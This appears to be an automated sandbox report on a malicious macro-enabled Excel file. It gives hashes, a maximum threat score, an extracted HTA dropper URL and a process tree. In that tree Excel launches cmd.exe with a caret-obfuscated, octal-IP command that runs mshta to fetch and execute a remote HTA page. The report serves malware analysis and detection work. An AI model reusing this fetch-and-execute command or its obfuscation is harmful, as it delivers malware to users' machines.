Analysis

  • max time kernel
    106s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-20220310-en
  • submitted
    13-03-2022 12:53

General

  • Target

    b74ebda344b21397a7dda793d725fc98a04efae5d4cc51c8c8b6f9c253bdcb83.xlsm

  • Size

    110KB

  • MD5

    88ba108c5c564f6dab3e1c4031a9a7e9

  • SHA1

    fbffd091afdae3d1e40a17e4f1c73174afc6234e

  • SHA256

    b74ebda344b21397a7dda793d725fc98a04efae5d4cc51c8c8b6f9c253bdcb83

  • SHA512

    82fec2d0679d56c1911d606463a5f5894c5de0ded95a11315f38fea796298884b24a37b10f9c5d1df3fdfc044b06c71f75e74d7b53fab57c133798a0124736ff

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://46.105.81.76/c.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b74ebda344b21397a7dda793d725fc98a04efae5d4cc51c8c8b6f9c253bdcb83.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2832
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0056.0151.0121.0114/c.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1456
      • C:\Windows\system32\mshta.exe
        mshta http://0056.0151.0121.0114/c.html
        3⤵
        • Blocklisted process makes network request
        PID:1688

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/2832-118-0x00007FFA7A290000-0x00007FFA7A2A0000-memory.dmp

    Filesize

    64KB

  • memory/2832-119-0x00007FFA7A290000-0x00007FFA7A2A0000-memory.dmp

    Filesize

    64KB

  • memory/2832-120-0x00007FFA7A290000-0x00007FFA7A2A0000-memory.dmp

    Filesize

    64KB

  • memory/2832-121-0x00007FFA7A290000-0x00007FFA7A2A0000-memory.dmp

    Filesize

    64KB

  • memory/2832-122-0x00007FFABA200000-0x00007FFABA3DB000-memory.dmp

    Filesize

    1.9MB

  • memory/2832-123-0x00007FFABA200000-0x00007FFABA3DB000-memory.dmp

    Filesize

    1.9MB

  • memory/2832-124-0x00007FFABA200000-0x00007FFABA3DB000-memory.dmp

    Filesize

    1.9MB

  • memory/2832-125-0x00007FFABA200000-0x00007FFABA3DB000-memory.dmp

    Filesize

    1.9MB

  • memory/2832-126-0x00007FFAB8A00000-0x00007FFAB8AAE000-memory.dmp

    Filesize

    696KB

  • memory/2832-135-0x00007FFABA140000-0x00007FFABA1FF000-memory.dmp

    Filesize

    764KB

  • memory/2832-288-0x00007FFA7A290000-0x00007FFA7A2A0000-memory.dmp

    Filesize

    64KB

  • memory/2832-289-0x00007FFA7A290000-0x00007FFA7A2A0000-memory.dmp

    Filesize

    64KB

  • memory/2832-291-0x00007FFA7A290000-0x00007FFA7A2A0000-memory.dmp

    Filesize

    64KB

  • memory/2832-290-0x00007FFA7A290000-0x00007FFA7A2A0000-memory.dmp

    Filesize

    64KB

  • memory/2832-292-0x00007FFAB8A00000-0x00007FFAB8AAE000-memory.dmp

    Filesize

    696KB

  • memory/2832-293-0x00007FFABA200000-0x00007FFABA3DB000-memory.dmp

    Filesize

    1.9MB